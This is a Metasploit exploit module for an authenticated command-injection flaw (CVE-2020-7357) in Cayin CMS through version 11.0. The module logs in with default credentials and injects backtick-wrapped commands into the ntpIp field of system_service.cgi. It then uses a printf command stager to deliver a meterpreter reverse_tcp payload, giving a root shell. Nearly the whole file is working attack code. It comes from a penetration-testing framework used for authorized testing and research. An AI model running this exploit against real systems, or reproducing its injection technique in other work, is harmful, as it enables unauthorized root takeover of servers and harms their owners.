##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Cayin CMS NTP Server RCE',
        'Description' => %q{
          This module exploits an authenticated RCE in Cayin CMS <= 11.0. The RCE is executed
          in the system_service.cgi file's ntpIp Parameter. The field is limited in size, so
          repeated requests are made to achieve a larger payload.
          Cayin CMS-SE is built for Ubuntu 16.04 (20.04 failed to install correctly), so the
          environment should be pretty set and not dynamic between targets.
          Results in root level access.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'h00die', # msf module
          'Gjoko Krstic (LiquidWorm) <gjoko@zeroscience.mk>' # original PoC, discovery
        ],
        'References' => [
          [ 'EDB', '48553' ],
          [ 'URL', 'https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5571.php' ],
          [ 'CVE', '2020-7357' ]
        ],
        'Platform' => ['linux'],
        'DefaultOptions' => {
          'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp'
        },
        'Privileged' => true,
        'Arch' => [ARCH_X86, ARCH_X64],
        'Targets' => [
          [ 'Automatic Target', {}]
        ],
        'DisclosureDate' => '2020-06-04',
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK, CONFIG_CHANGES]
        }
      )
    )
    register_options(
      [
        Opt::RPORT(80),
        OptString.new('TARGETURI', [true, 'The URI of Cayin CMS', '/']),
        OptString.new('USERNAME', [true, 'Username to login with', 'administrator']),
        OptString.new('PASSWORD', [true, 'Username to login with', 'admin']),
        # from the original advisory, leaving here just in case
        # OptString.new('USERNAME', [true, 'Username to login with', 'webadmin'])
        # OptString.new('PASSWORD', [true, 'Username to login with', 'bctvadmin'])
      ]
    )
  end

  def check
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'cgi-bin', 'login.cgi')
    )

    if res.nil? || res.code != 200
      return CheckCode::Safe('Could not connect to the web service, check URI Path and IP')
    end

    if res.body.include?('var model = "CMS') && res.body.include?('STR_CAYIN_LOGO')
      print_good('Cayin CMS install detected')
      return CheckCode::Detected
    end

    CheckCode::Safe
  rescue ::Rex::ConnectionError
    CheckCode::Safe('Could not connect to the web service, check URI Path and IP')
  end

  def login
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'cgi-bin', 'login.cgi'),
      'method' => 'POST',
      'vars_post' => {
        'apply_mode' => 'login',
        'lang' => 'ENG',
        'username' => datastore['USERNAME'],
        'password' => datastore['PASSWORD']
      }
    )

    fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?

    # instead of a 302 like most apps, this does a script window.location to forward...
    unless res.code == 200 && res.body.include?('/cgi-bin/system_status.cgi')
      fail_with(Failure::BadConfig, "#{peer} - Login failed. Check username and password")
    end

    res.get_cookies
  end

  def execute_command(cmd, _opts = {})
    # originally attempted to use the 'test' functionality, however it attempts 3 times which
    # means our exploit code stage chunks are written 3 times.
    # also attempted to just 'save', however it doesn't execute an update.
    # 'update' was the prefered functionality
    send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'cgi-bin', 'system_service.cgi'),
      'method' => 'POST',
      'cookie' => "#{@cookie} sys=Service",
      'vars_post' => {
        'exe' => 'webSvrUpdateNtp',
        'ntpIp' => "`#{cmd}`"

        # test button, executes 3 times
        # 'exe' => 'webSvrTestNtp', # just do the 'test', doesnt change config and still runs
        # 'ntpIp' => "`#{cmd}`"

        # save button, but doesnt execute
        # 'save' => 'webSvrNtp',
        # 'ntpIp' => "`#{cmd}`",
        # 'ntpEnable' => 1,
        # 'ntp_server' => 0
      }
    )
  end

  def exploit
    if check != CheckCode::Detected
      fail_with(Failure::NotVulnerable, 'Target is not vulnerable')
    end

    @cookie = login
    execute_cmdstager(flavor: :printf, linemax: 200)
  rescue ::Rex::ConnectionError
    fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
  end

end
